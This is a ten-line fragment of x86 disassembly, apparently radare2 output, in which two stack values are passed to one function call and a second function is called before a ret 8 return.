mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.00424ea6
pop ecx
pop ecx
mov al, bl
call fcn.00424f07
ret 8